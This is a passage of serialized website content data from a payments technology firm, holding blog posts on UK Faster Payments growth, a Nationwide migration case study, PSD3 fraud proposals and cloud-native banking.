and out.",[],{"type":25,"text":10024,"spans":10025,"direction":445},"Jump to 2019 and Payments is driving Fintech M&A, 3 mega deals totalling $87billion in H1 alone. The future of payments is simple, make it as accessible, to many, as easily as possible, executing in real-time. Customers don’t care how hard it is to process payments or the challenges associated with it, they just want it to work. Culturally we’ve shifted our behaviours to transactional. Our basic expectations of 3 clicks or less to achieve a task in our personal life have moved over into our working environment.",[],{"type":25,"text":10027,"spans":10028,"direction":445},"So what’s next?",[10029],{"start":398,"end":8472,"type":593},{"type":25,"text":10031,"spans":10032,"direction":445},"By 2030 the concerns regarding concentration of risk will have evaporated, as the mechanisms to “move” money transition smoothly between rails, providers, and currencies. Even the infrastructure supporting these operations will run across competitors offerings AWS\u002FAzure\u002F Google Cloud. I suspect quite a few of the Challenger banks will have been acquired and moulded into established brands. The Revoluts of 2019 will likely have dethroned one of the top 4 banks. Possibly even acquired one of them for their “book” but not their tech.",[],{"type":25,"text":10034,"spans":10035,"direction":445},"The future of Payments is Instant, Realtime, regardless of destination or currency. All from a device or wearable? Will they still be called phones………?",[],"rich_text$101e9f30-451b-4282-a457-23a3724f2c84",{"id":10038,"uid":10039,"type":3743,"data":10040},"alz0iREAACcAUWYZ","real-time-is-becoming-the-new-normal-in-payments",{"title":10041,"excerpt":10042,"card_image":10043,"published_date":6762,"reading_time":1633,"tag":5813,"dek":10042,"featured_image":10048,"about_form3":10049,"client_about_heading":5,"client_about_body":10050,"author_name":5,"author_title":5,"author_photo":10051,"author_bio":10052,"author_linkedin":10053,"slices":10054,"meta_title":10041,"meta_description":10042},"Real-time is becoming the 'new normal' in payments","Looking at the UK Payment Statistics this morning, I noticed that the July 2018 Faster Payment Service (FPS) volumes (175m) exceed the volume Bacs Credits (171m) for the first time...",{"dimensions":10044,"alt":10041,"copyright":5,"url":10045,"id":10046,"edit":10047},{"width":412,"height":412},"\u002F_prismic-media\u002Feae8e112766b4496-iPcbnLYR1wvAr_oq_real-time-is-becoming-the-new-n.png","iPcbnLYR1wvAr_oq",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[10055,10066,10077],{"variation":437,"version":438,"items":10056,"primary":10057,"id":10065,"slice_type":468,"slice_label":5},[],{"body":10058},[10059,10062],{"type":25,"text":10060,"spans":10061},"Looking at the UK Payment Statistics this morning, I noticed that the July 2018 Faster Payment Service (FPS) volumes (175m) exceed the volume Bacs Credits (171m) for the first time. The UK ‘instant’ payment scheme is therefore now processing more payments each month than the UK standard ACH payments service - in my view a very significant industry milestone.",[],{"type":25,"text":10063,"spans":10064},"Even more remarkably, this development was not due to a reduction of UK Bacs Payment volumes (although they have gone down slightly), but rather a more than 25% year-on-year increase in Faster Payments. All of this even without the proposed increase in FPS payment limits that is still subject to a non-object decision by the Bank of England.",[],"rich_text$22e903cb-8f94-4019-9a04-cbdf72028a91",{"variation":437,"version":438,"items":10067,"primary":10068,"id":10076,"slice_type":468,"slice_label":5},[],{"body":10069},[10070,10073],{"type":988,"text":10071,"spans":10072,"direction":445},"What’s happening?",[],{"type":25,"text":10074,"spans":10075,"direction":445},"Our conversations with customers and settlement partners suggest that real-time payments have clearly reached almost every area of the payments market. Where historically the key driver used to be the retail banking sector, we are now witnessing a significant increase on the business banking and corporate side, eg for supplier and salary payments. Corporate treasurers and finance directors who have been getting used to the easy and fast way of making personal payments in real-time through online channels are now expecting the same customer experience for their business payments.",[],"rich_text$8595eafc-47b8-4ef9-9d11-9eaa6b2592da",{"variation":437,"version":438,"items":10078,"primary":10079,"id":10093,"slice_type":468,"slice_label":5},[],{"body":10080},[10081,10084,10087,10090],{"type":988,"text":10082,"spans":10083,"direction":445},"So, are we witnessing the demise of legacy ACH processing?",[],{"type":25,"text":10085,"spans":10086,"direction":445},"Probably not. Industry figures suggest that there is still a strong case for a low-cost, file-based net-settlement system for ACH Credits and Direct Debits. Especially on the direct debit side, it will take some time for ‘Request-to-Pay’ functionality to be rolled-out and established as a viable alternative. These payments tend to be recurring and non-critical from a timing perspective and amounts and beneficiaries are well known well before the payment needs to be made. Whilst many challenger banks have started off with a view that real-time payments will cover most of their customers payment needs, they have now realised that connectivity to ACH systems is required to receive salaries and pay utility bills for their customers.",[],{"type":25,"text":10088,"spans":10089,"direction":445},"However, I do believe that these statistics are yet more evidence that we are witnessing a significant shift in the global payments landscape. Whilst the UK seems to be one of the leaders in the migration from ACH to Real-Time Payments, many other countries are going to follow quickly. Driven by consumer expectations and new business models, new payment types like SEPA RT are already scaling much faster than the Faster Payment Scheme after it went live 10 years ago. Connecting these systems will eventually provide consumers and business with the opportunity to move money across borders – instantly and at very low cost.",[],{"type":25,"text":10091,"spans":10092,"direction":445},"At Form3, we are very excited about these industry developments. We help our customers to respond to changing market dynamics by facilitating access to ACH and Real-Time payment systems in the UK and Europe through a single payments API - providing them with the flexibility to develop new and exciting end-customer experiences. Moreover, processing both payment types in the same cloud-native environment allows them to either optimise for costs or speed in the execution of their payment instructions.",[],"rich_text$7797bae6-66f7-4802-a691-f86e7b64bb08",{"id":10095,"uid":10096,"type":3743,"data":10097},"alz0jxEAACcAUWYh","case-study-nationwide-and-form3-on-migrating-payments",{"title":10098,"excerpt":10099,"card_image":10100,"published_date":5,"reading_time":905,"tag":3751,"dek":5,"featured_image":10105,"about_form3":10106,"client_about_heading":5,"client_about_body":10107,"author_name":5,"author_title":5,"author_photo":10108,"author_bio":10109,"author_linkedin":10110,"slices":10111,"meta_title":10098,"meta_description":10099},"Case study: Nationwide and Form3 on migrating payments","Form3 were recently featured in a Bobsguide case study discussing how Nationwide worked with us to map out a multi-year migration set to improve the scale, resiliency and long-term viability of Nationwide's payments infrastructure.",{"dimensions":10101,"alt":10098,"copyright":5,"url":10102,"id":10103,"edit":10104},{"width":412,"height":412},"\u002F_prismic-media\u002F1b93810d3c547ce8-IMBV3SkoxBQMA1mw_case-study-nationwide-and-form3.png","IMBV3SkoxBQMA1mw",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[10112,10120,10131,10141,10164,10175,10183,10200,10208,10222],{"variation":437,"version":438,"items":10113,"primary":10114,"id":10119,"slice_type":468,"slice_label":5},[],{"body":10115},[10116],{"type":25,"text":10117,"spans":10118},"Form3 were recently featured in a Bobsguide case study discussing how Nationwide worked with us to map out a multi-year migration set to improve the scale, resiliency and long-term viability of Nationwide's payments infrastructure. ",[],"rich_text$c517a134-08c6-4343-80e3-4c70389182e0",{"variation":437,"version":438,"items":10121,"primary":10122,"id":10130,"slice_type":468,"slice_label":5},[],{"body":10123},[10124],{"type":25,"text":10125,"spans":10126},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F747686905\u002F952e98cb7f",[10127],{"start":1130,"end":855,"type":489,"data":10128},{"link_type":491,"url":10129},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F747686905\u002F952e98cb7f","rich_text$b73c449d-daf9-438e-819d-77221089d801",{"variation":437,"version":438,"items":10132,"primary":10133,"id":10140,"slice_type":583,"slice_label":5},[],{"quote":10134,"attribution_name":10138,"attribution_role":10139},[10135],{"type":25,"text":10136,"spans":10137},"“The business case was made that there was a need for a new payment infrastructure, which needed to be more cost-efficient, and facilitate long-term growth” ",[],"Otto Benz","Payments Director at Nationwide Building Society","pull_quote$bdaf1781-9f00-4ade-9ce4-ba7dd62447d3",{"variation":437,"version":438,"items":10142,"primary":10143,"id":10163,"slice_type":468,"slice_label":5},[],{"body":10144},[10145,10148,10151,10154,10157,10160],{"type":988,"text":10146,"spans":10147,"direction":445},"A cloud platform offers scale",[],{"type":25,"text":10149,"spans":10150,"direction":445},"In 2018, three years prior to Benz joining the business, Nationwide launched a procurement exercise for a trusted provider of locally hosted payments infrastructure.",[],{"type":25,"text":10152,"spans":10153,"direction":445},"While the building society received proposals from industry leading participants, in 2019 it pivoted away from its original plan for a locally hosted installation and opted for a cloud architecture instead.",[],{"type":25,"text":10155,"spans":10156,"direction":445},"The pivot was well-timed in 2019. A survey by the Bank of England, conducted that same year among the 30 largest banks (including Nationwide) and 27 largest insurers in the UK, revealed that the bank focus group already used cloud for around 2,000 different applications and showed substantial maturity in this regard.",[],{"type":25,"text":10158,"spans":10159,"direction":445},"Of all the cloud applications reported by banks, 82% used a software-as-a-service (SaaS) model, while 18% employed infrastructure-as-a-service (IaaS).",[],{"type":25,"text":10161,"spans":10162,"direction":445},"For Nationwide, the desision was a practical one, allowing the society to implement DevOps across its payment infrastructure, avoid service downtime around migrations and access a wider pool of tech talent.",[],"rich_text$ef08424a-16ae-499c-9105-2ab547042f09",{"variation":437,"version":438,"items":10165,"primary":10166,"id":10174,"slice_type":468,"slice_label":5},[],{"body":10167},[10168,10171],{"type":25,"text":10169,"spans":10170},"This prediction is backed by statistics from the UK’s retail payments operator and standards body, Pay.UK. In 2021, According to the organisation, the Faster Payments System enjoyed a record-breaking 12 months, processing 3.4 billion transactions with a value of £2.6 trillion.",[],{"type":25,"text":10172,"spans":10173},"This represented a year-on-year volume increase of 568 million payments, or 20%, and a 24% jump in values (up from £2.1 trillion in 2020). The rise in uptake during the previous year was similarly rapid, likely due to the pandemic, with Faster payments transactions increasing by 383m during the 12 months.",[],"rich_text$f39db889-2d0e-452d-8597-431d8a4f8d1d",{"variation":437,"version":438,"items":10176,"primary":10177,"id":10182,"slice_type":583,"slice_label":5},[],{"quote":10178,"attribution_name":10138,"attribution_role":10139},[10179],{"type":25,"text":10180,"spans":10181},"“For us, the way forward for this project is to further improve resiliency and decrease downtime.”",[],"pull_quote$1135bebc-ed22-4374-ad0b-b2b0b57d4718",{"variation":437,"version":438,"items":10184,"primary":10185,"id":10199,"slice_type":468,"slice_label":5},[],{"body":10186},[10187,10190,10193,10196],{"type":988,"text":10188,"spans":10189,"direction":445},"External vendors and concentration risk",[],{"type":25,"text":10191,"spans":10192,"direction":445},"Other vendors involved in the project included AWS as the cloud infrastructure provider, Accenture as the systems integrator, as well as external software testing providers, engaged by Form3.",[],{"type":25,"text":10194,"spans":10195,"direction":445},"Form3 is an Advanced Technology Partner of AWS and currently deploys its services on the Amazon cloud. However, concentration risk has not gone unacknowledged. A key hindrance to the resiliency of the UK’s financial infrastructure, concentration risk has also been singled out by the Bank of England.",[],{"type":25,"text":10197,"spans":10198,"direction":445},"In order to mitigate concentration risk and ensure an “unkillable” infrastructure, the firm is currently working on spinning out a Kubernetes cluster with each cloud vendor, with Google Cloud Platform (GCP) being first on the list.",[],"rich_text$36bd38cc-cbaa-412e-9501-9dec0215270f",{"variation":437,"version":438,"items":10201,"primary":10202,"id":10207,"slice_type":583,"slice_label":5},[],{"quote":10203,"attribution_name":921,"attribution_role":922},[10204],{"type":25,"text":10205,"spans":10206},"“After the partnership was announced and the scope defined, the next step was to confirm a live date with the central infrastructure and work backwards to determine the integration requirements and testing schedules.”",[],"pull_quote$124dbed9-d1c3-40e7-86ef-55f6efb3d04d",{"variation":437,"version":438,"items":10209,"primary":10210,"id":10221,"slice_type":468,"slice_label":5},[],{"body":10211},[10212,10215,10218],{"type":988,"text":10213,"spans":10214,"direction":445},"Metrics of success",[],{"type":25,"text":10216,"spans":10217,"direction":445},"Outside of being cloud-native and extending the shelf life of Nationwide’s payment infrastructure, Benz cites the resiliency of the Form3 platform as a key criterion for selection. To this end, the key performance indicators that Benz and his team report at the board level, and which are regularly communicated to Nationwide members, include uptime and payments response time across the society’s three digital payments channels.",[],{"type":25,"text":10219,"spans":10220,"direction":445},"Benz notes that in July, the most recent full month at time of writing, the building society had no unplanned outages, with the only downtime being for planned maintenance.",[],"rich_text$d41b9d24-2aee-47ba-9fa8-65cd2fca639e",{"variation":437,"version":438,"items":10223,"primary":10224,"id":10235,"slice_type":468,"slice_label":5},[],{"body":10225},[10226,10229,10232],{"type":988,"text":10227,"spans":10228,"direction":445},"Scale and further development",[],{"type":25,"text":10230,"spans":10231,"direction":445},"Over the course of the next year, the building society will migrate Faster Payments over to the new, Form3 platform. At the same time, the team will work to ensure the system is ready for the changes required to support Pay.UK’s New Payments Architecture.",[],{"type":25,"text":10233,"spans":10234,"direction":445},"Once these changes are made, Nationwide will re-assess their position and plan the next phases of work, which are likely to include BACS, CHAPS & international payments, according to Benz.",[],"rich_text$c46fc6c1-6f14-4af9-9c62-8de5199fc362",{"id":10237,"uid":10238,"type":3743,"data":10239},"alz0khEAACoAUWYk","whitepaper-the-future-of-fintech-disruption-in-europe",{"title":10240,"excerpt":10241,"card_image":10242,"published_date":5,"reading_time":4603,"tag":3992,"dek":10247,"featured_image":10248,"about_form3":10249,"client_about_heading":5,"client_about_body":10250,"author_name":5,"author_title":5,"author_photo":10251,"author_bio":10252,"author_linkedin":10253,"slices":10254,"meta_title":10240,"meta_description":10241},"Whitepaper: The future of fintech disruption in Europe","Fintechs continue to challenge and influence the European financial landscape, but how is regulation, technology, and economic uncertainty shaping the future and the roles they play.",{"dimensions":10243,"alt":10240,"copyright":5,"url":10244,"id":10245,"edit":10246},{"width":412,"height":412},"\u002F_prismic-media\u002F2f7ee4366774b73e-PeLse-jTub_DvQ8R_whitepaper-the-future-of-fintec.png","PeLse-jTub_DvQ8R",{"x":398,"y":398,"zoom":399,"background":400},"The payments industry, once dominated by traditional financial sector players such as banks, payment institutions and card schemes, has transformed into an innovative, technology driven landscape that has opened its doors to new entrants that are looking to mark their place in the new payments ecosystem.In this report we look to dive into the key areas that new players must consider when looking at the European payments market. From the wide scale economic impact of current events, through to the regulatory requirements on banks and fintechs, there are still barriers to overcome.",{},[],[],{},[],{"link_type":434},[10255],{"variation":437,"version":527,"items":10256,"primary":10257,"id":10274,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":10258,"body":10259,"cta_label":5,"cta_link":10263,"aside_type":533,"aside_image":10264,"aside_video":10269,"aside_video_poster":10270,"aside_video_reduced_motion":10271,"aside_video_url":5,"aside_embed":10272,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":10273,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[10260],{"type":25,"text":10261,"spans":10262,"direction":445},"The future of fintech disruption in Europe",[],{"link_type":434},{"dimensions":10265,"alt":5,"copyright":5,"url":10266,"id":10267,"edit":10268},{"width":501,"height":501},"\u002F_prismic-media\u002F3cdc8d6f72c58522-kx8ZT_TxOjQGgVYh_08075857-4c44-47a8-9696-2f6361a.png","kx8ZT_TxOjQGgVYh",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$ddb29387-9950-4e20-84b1-51755bf2ae7f",{"id":10276,"uid":10277,"type":3743,"data":10278},"alz0mBEAAC4AUWYv","psd3-fraud-in-the-eurozone",{"title":10279,"excerpt":10280,"card_image":10281,"published_date":5,"reading_time":4603,"tag":3751,"dek":10286,"featured_image":10287,"about_form3":10292,"client_about_heading":5,"client_about_body":10293,"author_name":5,"author_title":5,"author_photo":10294,"author_bio":10295,"author_linkedin":10296,"slices":10297,"meta_title":10279,"meta_description":10280},"PSD3 – What does this mean for Fraud in the EuroZone?","Explore the future of European payment fraud prevention with PSD3 – a proposal aimed at combatting fraud, enhancing consumer rights and modernising financial services. Learn how it aligns with the UK's approach and what it means for banks and PSPs.",{"dimensions":10282,"alt":10279,"copyright":5,"url":10283,"id":10284,"edit":10285},{"width":412,"height":412},"\u002F_prismic-media\u002F807c808cb6d12e0e-HoN_YtQNLhTL7d9h_psd3-fraud-in-the-eurozone.jpg","HoN_YtQNLhTL7d9h",{"x":398,"y":398,"zoom":399,"background":650},"For those of you who saw any of Glastonbury over the weekend, Elton John's \"final\" uk performance attracted over 7.3million viewers across the BBC's coverage and whilst the numbers haven't been released yet for attendance in person at the Pyramid Stage, it is reported to be well in excess of the 100,000 that attended Paul McCartney's headline set in 2022.  To quote, one of Elton's songs from Sunday night:  Are you ready, are you ready for... PSD3? Yes I am, are you?",{"dimensions":10288,"alt":5,"copyright":5,"url":10289,"id":10290,"edit":10291},{"width":501,"height":646},"\u002F_prismic-media\u002F8f75a66c19164599-psznvF36A3nuxXy__2af3a491-9c1d-4426-bf94-55d5270.jpg","psznvF36A3nuxXy_",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[10298,10332,10359,10382,10403,10429],{"variation":437,"version":438,"items":10299,"primary":10300,"id":10331,"slice_type":468,"slice_label":5},[],{"body":10301},[10302,10305,10313,10316,10319,10322,10325,10328],{"type":988,"text":10303,"spans":10304,"direction":445},"What is PSD3 looking to achieve?",[],{"type":25,"text":10306,"spans":10307,"direction":445},"Yesterday, 28th June, the European Commission has put forward proposals to \"bring payments and the wider financial sector into the digital age\". The proposal will amend PSD2 to become PSD3. There are 6 key areas on which the proposals are focused, which are: ",[10308],{"start":10309,"end":10310,"type":489,"data":10311},149,157,{"link_type":491,"url":10312,"target":493},"https:\u002F\u002Fec.europa.eu\u002Fcommission\u002Fpresscorner\u002Fdetail\u002Fen\u002Fip_23_3543",{"type":3373,"text":10314,"spans":10315,"direction":445},"Combat and mitigate payment fraud. ",[],{"type":3373,"text":10317,"spans":10318,"direction":445},"Improve consumer rights. ",[],{"type":3373,"text":10320,"spans":10321,"direction":445},"Further levelling the playing field between banks and non-banks. ",[],{"type":3373,"text":10323,"spans":10324,"direction":445},"Improve the functioning of open banking. ",[],{"type":3373,"text":10326,"spans":10327,"direction":445},"Improve the availability of cash in shops and via ATMs. ",[],{"type":3373,"text":10329,"spans":10330,"direction":445},"Strengthen harmonisation and enforcement. ",[],"rich_text$66ce76fa-2ec4-468a-91ed-9e465f9de3bf",{"variation":437,"version":438,"items":10333,"primary":10334,"id":10358,"slice_type":468,"slice_label":5},[],{"body":10335},[10336,10339,10346,10349,10352,10355],{"type":988,"text":10337,"spans":10338,"direction":445},"What does this mean for Fraud?",[],{"type":25,"text":10340,"spans":10341,"direction":445},"I want to focus on the first point of combatting and mitigating payment fraud, and within the outlines there are 4 key points called out around fraud (these are available in the factsheet provided by the EU and a link is in the comments).  ",[10342],{"start":2055,"end":10343,"type":489,"data":10344},125,{"link_type":491,"url":10345,"target":493},"https:\u002F\u002Fec.europa.eu\u002Fcommission\u002Fpresscorner\u002Fapi\u002Ffiles\u002Fattachment\u002F875489\u002FFactsheet.pdf.pdf",{"type":3373,"text":10347,"spans":10348,"direction":445},"MAKE widely available a service to check whether the name of the payee and bank account number match each other, before a transfer is confirmed. ",[],{"type":3373,"text":10350,"spans":10351,"direction":445},"HELP banks and other PSPs cooperate against fraud through more fraud-related information sharing. ",[],{"type":3373,"text":10353,"spans":10354,"direction":445},"GIVE victims of fraud a right of refund by their bank or other PSP, in specific circumstances. ",[],{"type":3373,"text":10356,"spans":10357,"direction":445},"OBLIGE banks to improve customers’ awareness about fraud.  ",[],"rich_text$e557ddd3-886d-4031-8df8-ec25a21bb4fe",{"variation":437,"version":438,"items":10360,"primary":10361,"id":10381,"slice_type":468,"slice_label":5},[],{"body":10362},[10363,10366,10369,10375,10378],{"type":25,"text":10364,"spans":10365},"These 4 areas are strongly aligned to the work that is already underway in the UK to address emerging fraud threats, primarily around APP Fraud. There is a clear lineage between these 4 statements and the UK's current and proposed approach: ",[],{"type":3373,"text":10367,"spans":10368},"This aligns to the existing Confirmation of Payee (COP) solution which exists for validating the account details prior to sending the payment. COP currently applies to c99% of UK FPS and data shows that where a COP match is not achieved this can be c25 times higher probability of fraud risk than a COP validation. ",[],{"type":3373,"text":10370,"spans":10371},"The recent white paper, published by the Payments Association and sponsored by Form3, highlights the challenges but the opportunities that exist around appropriate and structured data sharing. This is something that will become more important with initiatives such as Enhanced Fraud Data Sharing (EFDS) and other mechanisms as secure and compliant data sharing provides a significant opportunity to prevent fraud. ",[10372],{"start":602,"end":7635,"type":489,"data":10373},{"link_type":491,"url":10374,"target":493},"https:\u002F\u002Fthepaymentsassociation.org\u002Fwhitepaper\u002Fdata-sharing-to-prevent-economic-crime\u002F",{"type":3373,"text":10376,"spans":10377},"The PSR regulations around reimbursement requirements are ensuring the rights of victims of Fraud are protected and preserved. ",[],{"type":3373,"text":10379,"spans":10380},"The work done by industry bodies (Take5, StopScamsUK, UKFinance, Payments Association - to name but a few) has provided beneficial in protecting customers through increased awareness. ",[],"rich_text$4b332106-6b62-4593-8d68-c9c07792a643",{"variation":437,"version":438,"items":10383,"primary":10384,"id":10402,"slice_type":468,"slice_label":5},[],{"body":10385},[10386,10389,10392,10395],{"type":988,"text":10387,"spans":10388,"direction":445},"What are the details around the IBAN Verification service",[],{"type":25,"text":10390,"spans":10391,"direction":445},"The provision of the IBAN verification service is being incorporated into the wider Fraud Pattern and Anomaly Detection (FPAD) functionality which is being built and managed by EBA Clearing.  ",[],{"type":25,"text":10393,"spans":10394,"direction":445},"The mechanics of the IBAN verification service are very similar to that of COP however the proposals within PSD3 will now extend out this obligation to all credit transfers within the EU. As with COP, the advice is presented to the payer of any discrepancy with the expected payee based upon the details provided. Whether the payer decided to make the payment in the event of an incorrect match to the payee details is the decision of the payer. ",[],{"type":25,"text":10396,"spans":10397,"direction":445},"There is one line, in the Q&A’s provided by the European Commission, which indicates there may be challenges around future liability – “The payer will have the right to opt out of the service.” By making this provision of intelligence optional (as opposed to mandated to be presented to the customer) and then aligning this to objective 3 relating to reimbursing customers, this could present a difficult situation around the extent to which a customer understands any implications of opting out of this service.",[10398],{"start":5574,"end":10399,"type":489,"data":10400},40,{"link_type":491,"url":10401,"target":493},"https:\u002F\u002Fec.europa.eu\u002Fcommission\u002Fpresscorner\u002Fdetail\u002Fen\u002Fqanda_23_3544","rich_text$b7b44412-a02a-439a-8da8-2bd263a7f76f",{"variation":437,"version":438,"items":10404,"primary":10405,"id":10428,"slice_type":468,"slice_label":5},[],{"body":10406},[10407,10410,10413,10416,10419,10422,10425],{"type":988,"text":10408,"spans":10409,"direction":445},"What happens now?",[],{"type":25,"text":10411,"spans":10412,"direction":445},"For PSP’s, the direction of travel is clear in terms of what will become legislation in the future. Start preparing for how you will be able to comply with the broad themes that are to be implemented. ",[],{"type":25,"text":10414,"spans":10415,"direction":445},"From a legislative perspective, the next steps are: ",[],{"type":3373,"text":10417,"spans":10418,"direction":445},"A review of the proposals by European Council and European Parliament ",[],{"type":3373,"text":10420,"spans":10421,"direction":445},"Once agreed upon, the text and proposal will become enforceable. ",[],{"type":3373,"text":10423,"spans":10424,"direction":445},"However, a transition period applies for the Payment Systems Regulation ",[],{"type":3373,"text":10426,"spans":10427,"direction":445},"With respect to enforcement, it is required to implement the directives into national legislation – the timeframe for this will be determined by the EU Legislation. ",[],"rich_text$f4dc3d8d-37f6-4bf8-9c43-2a2b5d2a0e15",{"variation":437,"version":438,"items":10430,"primary":10431,"id":10436,"slice_type":468,"slice_label":5},[],{"body":10432},[10433],{"type":25,"text":10434,"spans":10435},"As a result, there are no firm timing points confirmed on when this will happen – however, subject to consultation and amendments, the recommendations will become legal requirements for PSPs to follow. ",[],"rich_text$a588beb6-6dbb-44cf-9d30-245261de6409",{"id":10438,"uid":10439,"type":3743,"data":10440},"alz0WREAAC0AUWWl","why-financial-institutions-are-banking-on-cloud-native-technology-to-stay-competitive",{"title":10441,"excerpt":10442,"card_image":10443,"published_date":10448,"reading_time":1355,"tag":3751,"dek":10442,"featured_image":10449,"about_form3":10450,"client_about_heading":5,"client_about_body":10451,"author_name":5,"author_title":5,"author_photo":10452,"author_bio":10453,"author_linkedin":10454,"slices":10455,"meta_title":10441,"meta_description":10519},"Why financial institutions are banking on cloud-native technology to stay competitive","How the move online has led to an acceleration in digital transformation",{"dimensions":10444,"alt":10441,"copyright":5,"url":10445,"id":10446,"edit":10447},{"width":412,"height":412},"\u002F_prismic-media\u002F5751d4539f93f14a-GEd4-3wlqoh7Ke___why-financial-institutions-are-.png","GEd4-3wlqoh7Ke__",{"x":398,"y":398,"zoom":399,"background":400},"2020-10-19",{},[],[],{},[],{"link_type":434},[10456,10479],{"variation":437,"version":438,"items":10457,"primary":10458,"id":10478,"slice_type":468,"slice_label":5},[],{"body":10459},[10460,10463,10466,10469,10472,10475],{"type":25,"text":10461,"spans":10462},"Digital banking has exploded, fueled by growing digital confidence, technology advancement and new, agile challenger banks but also a global pandemic creating an almost overnight shift in how both businesses and consumers move money.",[],{"type":25,"text":10464,"spans":10465},"Pre-Covid, digital transformation was already gaining importance among UK and European Banks as a strategic necessity to compete on a level playing field, ensure resilience and scale while lowering costs. As the world faces a new set of challenges and a new normal, accelerating these transformation agendas is now critical.",[],{"type":25,"text":10467,"spans":10468},"In the past few months there has been a huge movement to the use of cards and account to account payments.  According to the recent EY Future Consumer index, 62% of consumers said they will use less cash in the future and 59% expect to use more contactless payments going forward.",[],{"type":25,"text":10470,"spans":10471},"This means more pressure for Banks and regulated Fintechs to deliver the infrastructure, applications and security required to maintain world-class digital payment experiences for their customers. And not just looking at digital transformation from a product-delivery layer or as a process cost cutting exercise, but the complete end to end journey for customers – the payment initiation, the processing layer, clearing and settlement and reconciliation and notification. Leveraging technology to underpin every process from the front-end to the back-office processing powerhouse needs to be future proof, cost efficient and scalable on demand. More importantly it all needs to happen in a matter of minutes or even better - in real-time.",[],{"type":25,"text":10473,"spans":10474},"The ability to create an online account in just three mins or make a payment in seconds is now expected compared to waiting a few hours or days in the recent past. But digitising traditional manual processes or redesigning them to make experiences more intuitive and responsive only goes so far if the core infrastructure is creaking at the seams to cope. Financial institutions must instead start by assessing their core back-office infrastructure – the engine that makes it all happen.",[],{"type":25,"text":10476,"spans":10477},"Payment processing is a high stakes operation and is becoming more so as we move towards real-time processing and rapidly growing volumes. There has never been a better time to partner with a specialist fintech to deliver a complete, end to end, 24\u002F7 managed service in the cloud.",[],"rich_text$40e1e459-8cce-4f7d-b2e2-fd57bb3d3061",{"variation":437,"version":438,"items":10480,"primary":10481,"id":10518,"slice_type":468,"slice_label":5},[],{"body":10482},[10483,10486,10489,10492,10497,10500,10503,10506,10509,10512,10515],{"type":988,"text":10484,"spans":10485,"direction":445},"Harnessing open APIs to gain a competitive edge in the open banking landscape.",[],{"type":25,"text":10487,"spans":10488,"direction":445},"Moving your payments infrastructure to a fully managed service in the cloud offers many advantages including:",[],{"type":1151,"text":10490,"spans":10491,"direction":445},"Connecting to global payment schemes via a single API with 24\u002F7 operational support and continuous adherence to scheme rules. No need for your operational teams to service different schemes, it’s all done for you.",[],{"type":1151,"text":10493,"spans":10494,"direction":445},"A multi-tenanted environment with continuous updates means that all customers have access to the latest functionality and security updates as well as ensuring a rapid response to incidents due to the homogeneity of the codebase.  ",[10495],{"start":3775,"end":10496,"type":593},230,{"type":1151,"text":10498,"spans":10499,"direction":445},"New applications can be created and deployed to market quickly without the need to spend time and money building and maintaining an infrastructure that includes servers and databases.",[],{"type":1151,"text":10501,"spans":10502,"direction":445},"The entire end to end journey of a payment is managed for you so there is no hardware, no software, no maintenance and no downtime.",[],{"type":1151,"text":10504,"spans":10505,"direction":445},"As a fully managed service, scaling is automatic as payments and volumes are constantly tracked to ensure capacity is always available so the service adapts as your business needs grow.",[],{"type":25,"text":10507,"spans":10508,"direction":445},"Payments-as-a-Service platforms are being adopted by both Tier 1 banks and regulated, fast growing Fintechs across Europe to ensure future resiliency, business agility and scalability as they expand into new markets, develop and deploy new propositions and look to improve the customer experience.",[],{"type":25,"text":10510,"spans":10511,"direction":445},"A modern, ‘everything instant’ digital world needs next generation payments technology innovation.  It makes perfect sense to rationalise payment processing into a single, integrated platform. Integrate once and access multiple payment schemes through the same API. This removes the need for custom applications and many different messaging formats in order to access central payment infrastructure.",[],{"type":25,"text":10513,"spans":10514,"direction":445},"Harnessing open APIs helps standardise and simplify payments processing to create a strong foundation to deploy new products quickly, streamline operations and lower costs. A cloud-native platform further ensures the highest levels of security so that you can lower operational risk by removing the infrastructure burden.",[],{"type":25,"text":10516,"spans":10517,"direction":445},"Through outsourcing payments infrastructure efficiently at speed and scale, financial institutions are simply able to devote resources to servicing their customers better.",[],"rich_text$fba0db48-3a5a-4854-b578-7650db9055c0","Cloud-native technology enables banks to stay competitive.",{"id":10521,"uid":10522,"type":3743,"data":10523},"alz0VhEAACkAUWWd","how-to-effectively-run-payment-transformation-programmes-with-banks-in-a-fully-remote-environment",{"title":10524,"excerpt":10525,"card_image":10526,"published_date":10531,"reading_time":2375,"tag":3751,"dek":10525,"featured_image":10532,"about_form3":10533,"client_about_heading":5,"client_about_body":10534,"author_name":5,"author_title":5,"author_photo":10535,"author_bio":10536,"author_linkedin":10537,"slices":10538,"meta_title":10524,"meta_description":10525},"How to effectively run payment transformation programmes with banks in a fully remote environment","Deploying digital transformation for banks in 2021",{"dimensions":10527,"alt":10524,"copyright":5,"url":10528,"id":10529,"edit":10530},{"width":412,"height":412},"\u002F_prismic-media\u002F2cb349bfbe081818-NZG5ndRuvJCwZEiM_how-to-effectively-run-payment-.png","NZG5ndRuvJCwZEiM",{"x":398,"y":398,"zoom":399,"background":400},"2021-01-11",{},[],[],{},[],{"link_type":434},[10539,10564,10581,10595,10612],{"variation":437,"version":527,"items":10540,"primary":10541,"id":10563,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":10542,"body":10543,"cta_label":5,"cta_link":10550,"aside_type":533,"aside_image":10551,"aside_video":10558,"aside_video_poster":10559,"aside_video_reduced_motion":10560,"aside_video_url":5,"aside_embed":10561,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":10562,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[10544,10547],{"type":25,"text":10545,"spans":10546,"direction":445},"Following my last blog, more than half a year ago (and fully remote at home), I am pleased to say that the human element of project management is alive and kicking through Zoom, Teams and Google 